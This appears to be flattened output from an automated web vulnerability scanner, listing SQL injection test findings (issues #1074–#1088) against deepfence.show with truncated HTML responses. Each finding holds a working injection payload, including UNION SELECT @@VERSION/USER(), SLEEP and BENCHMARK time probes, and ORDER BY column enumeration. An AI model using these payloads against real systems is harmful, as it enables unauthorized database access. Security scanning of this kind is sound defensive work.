script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1074
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)
+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1075
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1076
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 24--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1077
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io WHERE 1=1 AND 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1078
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io||
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1079
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),3
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1080
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 24
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #1081
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1082
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1083
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1084Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1085
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1086
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io WHERE 1=1 AND 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1087
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1088
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iopg_SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
